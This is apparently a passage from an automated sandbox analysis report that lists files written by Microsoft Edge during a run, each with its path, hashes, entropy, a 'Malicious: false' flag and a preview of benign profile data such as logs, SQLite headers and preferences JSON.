Category:	dropped
Size (bytes):	418
Entropy (8bit):	5.184554327364239
Encrypted:	false
SSDEEP:	12:nfEv8wZYebvqBZFUt8kfH/+kf875TwZYebvqBaJ:nG8wZYebvyg8kPktTwZYebvL
MD5:	5668F013DE251788F3DAEA230742D5D1
SHA1:	7F03B5864E741753C0DFC9335C36D2A377A6C329
SHA-256:	2E7E8B7C4FA971EBBA8EA2FC203E2312C855C6ECFDC204DCCDF4406E93044EFA
SHA-512:	12D5EB17D63E89CA8A8628FB3C8AC837B0157D38BFE536DA368EAACE25025B8FE6E4AFD1AF586F92F15459B46ABB2C5966027BA6F8266B726FDF02733EEE7B13
Malicious:	false
Preview:	2024/11/20-10:51:01.127 1d60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/20-10:51:01.129 1d60 Recovering log #3.2024/11/20-10:51:01.133 1d60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.202482606573906
Encrypted:	false
SSDEEP:	6:HHgQL+q2PqLTwi23oH+TcwtpIFUt8YH4JeGKWZmw+YH4JeQLVkwOqLTwi23oH+Tr:ngQ+v8wZYebmFUt8k4sGKW/+k4sQV5T+
MD5:	B9C31F622517A87EBDDB28FEB6F2C7F7
SHA1:	DA578C86946DA527668D7960C3B2C940E361421B
SHA-256:	B34AC58DDFDD271AC0ED4B4A98CFE98A0EF65ACD5A0AF817A014B6AA0EB265EA
SHA-512:	7C71B108D613C72363F5F8D8A66949D01327CEEBD8216FBB3656FBEB61B494F6642417E06712965A735AD62BDE330D2135637FDE7A73C7719B1B664CD96712D3
Malicious:	false
Preview:	2024/11/20-10:50:42.878 155c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/20-10:50:42.879 155c Recovering log #3.2024/11/20-10:50:42.879 155c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.202482606573906
Encrypted:	false
SSDEEP:	6:HHgQL+q2PqLTwi23oH+TcwtpIFUt8YH4JeGKWZmw+YH4JeQLVkwOqLTwi23oH+Tr:ngQ+v8wZYebmFUt8k4sGKW/+k4sQV5T+
MD5:	B9C31F622517A87EBDDB28FEB6F2C7F7
SHA1:	DA578C86946DA527668D7960C3B2C940E361421B
SHA-256:	B34AC58DDFDD271AC0ED4B4A98CFE98A0EF65ACD5A0AF817A014B6AA0EB265EA
SHA-512:	7C71B108D613C72363F5F8D8A66949D01327CEEBD8216FBB3656FBEB61B494F6642417E06712965A735AD62BDE330D2135637FDE7A73C7719B1B664CD96712D3
Malicious:	false
Preview:	2024/11/20-10:50:42.878 155c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/20-10:50:42.879 155c Recovering log #3.2024/11/20-10:50:42.879 155c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2657403129427098
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkM0SAELyKOMq+8ETZKoxAXCVumC:K0q+n0J09ELyKOMq+8ET8cU9
MD5:	480BBDE2C3D213C487C4025898A29FE6
SHA1:	B8FCD9BAF9784F912436745F43D5BCD05D26A6B9
SHA-256:	BA6B28007DDA336DCDAB6265D859157778B45B358B71A6EBEA6974A3623427F7
SHA-512:	A3F1AE8575EE364466077C8784F726871CB04AA1880D1380BD0942C98B5D7C8E693AE60051DD7A827FC891AB8E4CCD453C5614892C9F1BA4CFF6EE7E0C540015
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4668448591351835
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB06d:v7doKsKuKZKlZNmu46yjx0w
MD5:	EDF58B9C0B8118EA2A983C8F8EA7DE4A
SHA1:	D7149F92B171641ED9BA7CE1DA9A30D960C78184
SHA-256:	8E4199616880658D360A97EB6DD41AF3A0E2D682F8BC8806725A1F09FECB19C7
SHA-512:	BB7ADA91DFFE76D99EB6AF3C5C31A2866BB8007AA2513FED64168B31DB3B68D499A3A7B5AFBBA7E7E5811204F9F6C21528E81E516FA64DC263543B1C4E0AF9C6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\cf249aec-9085-4f1a-98d8-8fb214287efd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9575
Entropy (8bit):	5.105598409275584
Encrypted:	false
SSDEEP:	192:stMkdpysuOEIJZVkce+8hbV+FKSQA2f+nPjYJ:stMQysuOEiZibGHQ/
MD5:	11EC99673EE238320464B974EFACDBCD
SHA1:	D51928E114BBC4CA93F8EEB36484412643ADE519
SHA-256:	34E1FD7EDF063DECE23A5A0C45A19901CF83E17FDAE93B2896713CA277839D6C
SHA-512:	5F68B165152A5E6C6E8C280CA841F18F01496BEF080487D7A812FAF3562BD3F419CBBCB0244B19F2ACA09B7CB5DA443DE851E45F8CBB42BE721B7C1EFBDFB118
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376591443384661","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\cffa3312-ccda-4dc1-bb93-ec415f37847f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561651756985632
Encrypted:	false
SSDEEP:	768:R41UjT7pLGLPCoWPzPfD58F1+UoAYDCx9Tuqh0VfUC9xbog/OVGd+t7qjrwyu9Ip:R41UjFcPCoWPzPfD5u1ja3d+NqYyu9QL
MD5:	3A8689736920CB6594C85BB879E75218
SHA1:	80D217845D09936D9CF5A41AB43BA0B68DCED46B
SHA-256:	6E29213B8F268227C9B8DF55936171BE107AC7DC3B68CED67FAC28C7629E6ED5
SHA-512:	764E3BE379BB2F7A6B7AEC100A4BA41D4F7935B96FCF89B3BBFBA5653A1516B3376FC839F822A872592B8C697F118BC185DA8A87448B1434C229220288203B05
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376591442839443","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376591442839443","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e88fe77d-9dce-43b7-93ce-8fec45fd7f82.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17281), with no line terminators
Category:	dropped
Size (bytes):	17281
Entropy (8bit):	5.4795635154240365
Encrypted:	false
SSDEEP:	384:stMPGQSu4ysuOEiZzsKUhOhlZubGHQw51:syOXuXfiZQ9bGw2
MD5:	BFCC170C62241299C502E9033CC1B7F5
SHA1:	AE58FDC3670C85A80A95D32BF48928E5B1ACFFA2
SHA-256:	FEE6C4A08C4A87CBC0A3C39C03D7D540486ACEF090EE4AF0B6A8CC529FEA81E6
SHA-512:	8BE4CB38902524ACDECBA7981BACB625D375554E9569B05536CB4C99BA007FF77477B09555157053ACD97305FF034B9CF5CCC3765ED8F26516349632A57E93AD
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376591443384661","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10289145999378256
Encrypted:	false
SSDEEP:	12:+OUeJ/OUeJ4spEjVl/PnnnnnnnnnnnvoQ/Eou:+OzdOzHoPnnnnnnnnnnnv1j
MD5:	7822B95D1D59801D4A5C02E7D98A5C96
SHA1:	94D7DF1EF0B399FF66A66EA7EBB6D16230478307
SHA-256:	A03C548C81547946E13C39EA6807B69262134D0A9389B1C54934C7D05DC29ECB
SHA-512:	6FA4B4EC3176C5AA71EE82A7B4068D9F79471AB6C3087B09AB8C867C6360B0D93B79FAFBD6536513B28BC65DA416A739FEF89A3F6D8531AED94BCD8D76969C00
Malicious:	false
Preview:	..-.............M...............F{.....h.W.I...&..-.............M...............F{.....h.W.I...&........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8903202056461044
Encrypted:	false
SSDEEP:	384:sXZm+1skCHQNKa3zH0bGekcf+iJ5OZl1blv8KDy5yRvyYy7u0yqxyRtE:IFkkE
MD5:	2213723AF7C060CC55643A29AFC9A913
SHA1:	255DBB38EB677CB1F4E322F93F30CD4FA2F69ED2
SHA-256:	832FADA7D10A769ACE272427077E8DB7534E18F3E9A8A9B676F71B8525535AE4
SHA-512:	686CCD359288F91A98786668D0FA9FEF7641117BA9B89F38984467D8CD7D0E08A5F0F869E73383CACB3F87672C164AB97761FE37D886F321D4B7AF5CF634D581
Malicious:	false
Preview:	7....-..........F{.....hn.~Y.C,.........F{.....h./......SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	419
Entropy (8bit):	3.6802812381891754
Encrypted:	false
SSDEEP:	6:/XntM+4il3sedhOeAyOuuuuuuuuuuuu4sedhOVn:hlc8JAyOuuuuuuuuuuuuh88n
MD5:	1D0E43012A619470660EEC5E1F8E086A
SHA1:	587DA1893510531483202EAEAF680F6FAF0E8594
SHA-256:	42B9FFDD77DBE89E9D0E242ABE6906C8C35AF26F8A5916552C8D8A766E49D1DC
SHA-512:	EFD21AB8E9B9669A1D3FEE6C1C28CF8789935B5CA480C0892BF550AFA2696C7AAB664191B877AB64517F96810129BD77A072AC3B1E697DAE56513C75CBA4419C
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1.9.0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=................B}.0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.1721592928882725
Encrypted:	false
SSDEEP:	6:HHvI9+q2PqLTwi23oH+TcwtfrK+IFUt8YHv6HNJZmw+YHv6HN9VkwOqLTwi23oHK:nPv8wZYeb23FUt8kY/+kA5TwZYeb3J
MD5:	48CF0A46B198744AF9A6C0167AD1C90E
SHA1:	EC953E7485AEF4CA63C623E67FA93E85CD50CDFC
SHA-256:	035F40BD5204FFE8C2E7A3D29D7EA58F4A2E1631117583632FCA672AF7744622
SHA-512:	3D15EE39684EE4191A5B2093CCB7BD0311D0F986A6E991E6C80385ADC505EBBEE54A48337D34DF2B44682E41B2A65FEAB45D2B81FA8F10F24F4B78DC7490F151
Malicious:	false
Preview:	2024/11/20-10:50:43.409 1e88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/20-10:50:43.410 1e88 Recovering log #3.2024/11/20-10:50:43.410 1e88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.1721592928882725
Encrypted:	false
SSDEEP:	6:HHvI9+q2PqLTwi23oH+TcwtfrK+IFUt8YHv6HNJZmw+YHv6HN9VkwOqLTwi23oHK:nPv8wZYeb23FUt8kY/+kA5TwZYeb3J
MD5:	48CF0A46B198744AF9A6C0167AD1C90E
SHA1:	EC953E7485AEF4CA63C623E67FA93E85CD50CDFC
SHA-256:	035F40BD5204FFE8C2E7A3D29D7EA58F4A2E1631117583632FCA672AF7744622
SHA-512:	3D15EE39684EE4191A5B2093CCB7BD0311D0F986A6E991E6C80385ADC505EBBEE54A48337D34DF2B44682E41B2A65FEAB45D2B81FA8F10F24F4B78DC7490F151
Malicious:	false
Preview:	2024/11/20-10:50:43.409 1e88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/20-10:50:43.410 1e88 Recovering log #3.2024/11/20-10:50:43.410 1e88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	4.037333775091125
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvBs:G0nYUtypD3RUovhC+lvBOL+t3IvBs
MD5:	C5675C35B320A0898802E1ECFD3476E8
SHA1:	B6CA1C2EE1340662A7B495778416988006748327
SHA-256:	8E60BB9B60A9A242D016CF5425FF3D76A94911F197B3E4AB08A417E39C2832A5
SHA-512:	DAA3E9FADF4F69A88600460F48116E50BCE1C979E4AFA7114D1B8CCEC6626520CC3725D0BB845E0FCC8587A8690D4AC495C138AB1AAC2981CAEB9C485FA0CC67
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.172350030882318
Encrypted:	false
SSDEEP:	6:HHv5AF9+q2PqLTwi23oH+TcwtfrzAdIFUt8YHvy4XJZmw+YHvy4X9VkwOqLTwi2a:nRBv8wZYeb9FUt8kD/+kZ5TwZYeb2J
MD5:	661BF63B6E0861983C63079FED4B9FAC
SHA1:	6DABD5E8802785B487A04F9CA4270F715CC5206A
SHA-256:	88458C9C51171D2E9DF2E49096639C752BCB5D9792C8037DD4E69B78E1604045
SHA-512:	6CB3B1B8003589CCC661236DD0D6655292961C966036D47807C250BFBDCA43DB0D90B769829DCA34BB913D49D9ABEA64354C55D9C32EFE5DF9E046F3F8723A0A
Malicious:	false
Preview:	2024/11/20-10:50:43.405 1e88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/20-10:50:43.406 1e88 Recovering log #3.2024/11/20-10:50:43.406 1e88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.172350030882318
Encrypted:	false
SSDEEP:	6:HHv5AF9+q2PqLTwi23oH+TcwtfrzAdIFUt8YHvy4XJZmw+YHvy4X9VkwOqLTwi2a:nRBv8wZYeb9FUt8kD/+kZ5TwZYeb2J
MD5:	661BF63B6E0861983C63079FED4B9FAC
SHA1:	6DABD5E8802785B487A04F9CA4270F715CC5206A
SHA-256:	88458C9C51171D2E9DF2E49096639C752BCB5D9792C8037DD4E69B78E1604045
SHA-512:	6CB3B1B8003589CCC661236DD0D6655292961C966036D47807C250BFBDCA43DB0D90B769829DCA34BB913D49D9ABEA64354C55D9C32EFE5DF9E046F3F8723A0A
Malicious:	false
Preview:	2024/11/20-10:50:43.405 1e88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/20-10:50:43.406 1e88 Recovering log #3.2024/11/20-10:50:43.406 1e88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.1016686018820545
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynPCBS2qX7b8tPHgorQXdbiR3oM:z/0+zI7ynPkS20MtP0Xdbe3
MD5:	165D80BD03E6665E6F8344E74FDE153C
SHA1:	D2598E9631EF01B13D2E70DB035D476FC143EC8A
SHA-256:	AEDE2B33B94938F46675E860AFDBBF246F26669DC9C63CE2194D01A56BCE4551
SHA-512:	AEE35CD666368C65141AF06F8C418176AB685A85511BC6158C78EE1D3B83C87FCB2D4CC4FF23AB366EFE2DCD9B600529274760F7591D5EE4A7D3030DD1080952
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF29197.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.1016686018820545
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynPCBS2qX7b8tPHgorQXdbiR3oM:z/0+zI7ynPkS20MtP0Xdbe3
MD5:	165D80BD03E6665E6F8344E74FDE153C
SHA1:	D2598E9631EF01B13D2E70DB035D476FC143EC8A
SHA-256:	AEDE2B33B94938F46675E860AFDBBF246F26669DC9C63CE2194D01A56BCE4551
